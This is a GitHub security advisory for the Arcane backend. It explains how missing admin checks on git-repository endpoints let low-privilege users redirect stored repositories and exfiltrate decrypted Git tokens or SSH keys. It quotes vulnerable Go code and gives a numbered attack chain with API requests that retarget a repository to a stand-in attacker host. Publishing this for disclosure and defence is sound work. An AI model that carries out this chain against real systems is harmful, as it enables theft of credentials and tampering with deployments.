GHSA-7h26-hg47-p9hxCriticalCVSS 9.9

Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs

Published
May 18, 2026
Last Modified
May 18, 2026

🔗 CVE IDs covered (1)

📋 Description

## Summary Arcane's huma-based REST API exposes nine endpoints under `/api/customize/git-repositories` and `/api/git-repositories/sync` for managing GitOps source repositories and their stored credentials. Eight of those endpoints (`list`, `create`, `get`, `update`, `delete`, `test`, `listBranches`, `browseFiles`) never call the `checkAdmin(ctx)` helper that every other admin-managed resource (container registries, environments, users, API keys, swarm, settings, system, notifications, events) uses, and the huma authentication middleware deliberately enforces only authentication, not the `admin` role. As a result, any logged-in user with the default `user` role can list, create, modify, delete, and test git repository configurations. By repointing an existing repository's URL to an attacker-controlled host while omitting the `token`/`sshKey` fields (which `UpdateRepository` only rewrites when explicitly supplied), the attacker causes Arcane to decrypt the legitimate PAT/SSH key on its next `/test`, `/branches`, or `/files` call and present it as HTTP Basic auth (or SSH key auth) to the attacker's host — producing a one-step exfiltration of plaintext Git credentials. ## Details ### Auth bridge does not enforce role `backend/internal/huma/middleware/auth.go:192-254` (`NewAuthBridge`) validates Bearer JWTs / API keys / agent tokens and stores the user (and an `userIsAdmin` flag) in the request context, but it never rejects non-admin callers — admin enforcement is intentionally delegated to handlers via `helpers.checkAdmin`: ```go // backend/internal/huma/handlers/helpers.go:11-12 // checkAdmin checks if the current user is an admin and returns a 403 error if not. func checkAdmin(ctx context.Context) error { ... } ``` `grep -rn "checkAdmin"` confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role `"user"` (`backend/internal/huma/handlers/users.go:222-223`): ```go if userModel.Roles == nil { userModel.Roles = []string{"user"} } ``` ### Git repository handler is missing the admin gate on 8 of 9 endpoints `backend/internal/huma/handlers/git_repositories.go:117-236` registers nine endpoints. Only `SyncRepositories` (line 456) calls `checkAdmin(ctx)`. The other handlers — `ListRepositories` (line 243), `CreateRepository` (271), `GetRepository` (301), `UpdateRepository` (326), `DeleteRepository` (356), `TestRepository` (382), `ListBranches` (407), `BrowseFiles` (428) — perform no role check whatsoever: ```go // backend/internal/huma/handlers/git_repositories.go:326-336 func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) { if h.repoService == nil { return nil, huma.Error500InternalServerError("service not available") } actor := models.User{} if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil { actor = *currentUser } repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor) ... ``` The service layer (`backend/internal/services/git_repository_service.go`) has no role enforcement either — `grep -n "admin" backend/internal/services/git_repository_service.go` returns nothing. ### Credential-preserving update primitive `UpdateRepository` builds a partial update map: the `token`/`ssh_key` columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when `req.URL != nil`: ```go // backend/internal/services/git_repository_service.go:185-219 updates := make(map[string]any) if req.Name != nil { updates["name"] = *req.Name } if req.URL != nil { updates["url"] = *req.URL } // <-- attacker-pivotable if req.AuthType != nil { updates["auth_type"] = *req.AuthType } ... if req.Token != nil { // <-- only rewritten if supplied if *req.Token == "" { updates["token"] = "" } else { encrypted, err := crypto.Encrypt(*req.Token) ... updates["token"] = encrypted } } ``` So `PUT /customize/git-repositories/{id}` with body `{"url":"https://attacker.tld/repo.git"}` retargets the repository while preserving the encrypted token. ### Sink: Basic-auth send to attacker URL `TestConnection` and `ListBranches`/`BrowseFiles` decrypt the stored token via `GetAuthConfig` and pass the chosen URL + auth to `gitutil`: ```go // backend/internal/services/git_repository_service.go:340-363 func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) { authConfig := git.AuthConfig{ AuthType: repository.AuthType, Username: repository.Username, ... } if repository.Token != "" { token, err := crypto.Decrypt(repository.Token) ... authConfig.Token = token } ... } ``` ```go // backend/pkg/gitutil/git.go:60-69 case "http": if config.Token != "" { return &githttp.BasicAuth{ Username: config.Username, Password: config.Token, }, nil } ``` `go-git`'s HTTP transport sends `Authorization: Basic base64(username:token)` in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to `/test`, `/branches`, or `/files`. ### Full attack chain (HTTP-token variant) 1. Attacker authenticates as a normal `user` (registration or any pre-existing low-priv account). 2. `GET /api/customize/git-repositories` enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their *existence* is visible). 3. `PUT /api/customize/git-repositories/{id}` with `{"url":"https://attacker.tld/repo.git"}` retargets the repo while preserving the encrypted PAT. 4. `POST /api/customize/git-repositories/{id}/test` (or `GET .../branches`) makes Arcane decrypt the PAT and send it to `attacker.tld` as HTTP Basic auth. 5. Optional cleanup: `PUT` again to restore the original URL, leaving no obvious config drift; or `DELETE` every repo for DoS on the GitOps pipeline. The same primitive works for `authType: "ssh"` repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default `accept_new` host-key mode, by the attacker simply observing the SSH session). ## Impact - **Cleartext exfiltration of stored Git credentials.** PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C). - **Privilege escalation to effective Arcane admin over GitOps.** Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys. - **Supply-chain integrity loss.** A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments. - **Denial of service on the GitOps pipeline.** `DELETE /customize/git-repositories/{id}` lets any user wipe production repository configurations. - **Information disclosure of private repo contents.** `GET .../files` clones private repos using stored credentials and returns file contents in the API response, regardless of caller role. Default Arcane installations create new accounts with role `user`; no special configuration is required for the attack to be reachable.

🎯 Affected products1

  • go/github.com/getarcaneapp/arcane/backend:<= 1.18.1

🔗 References (2)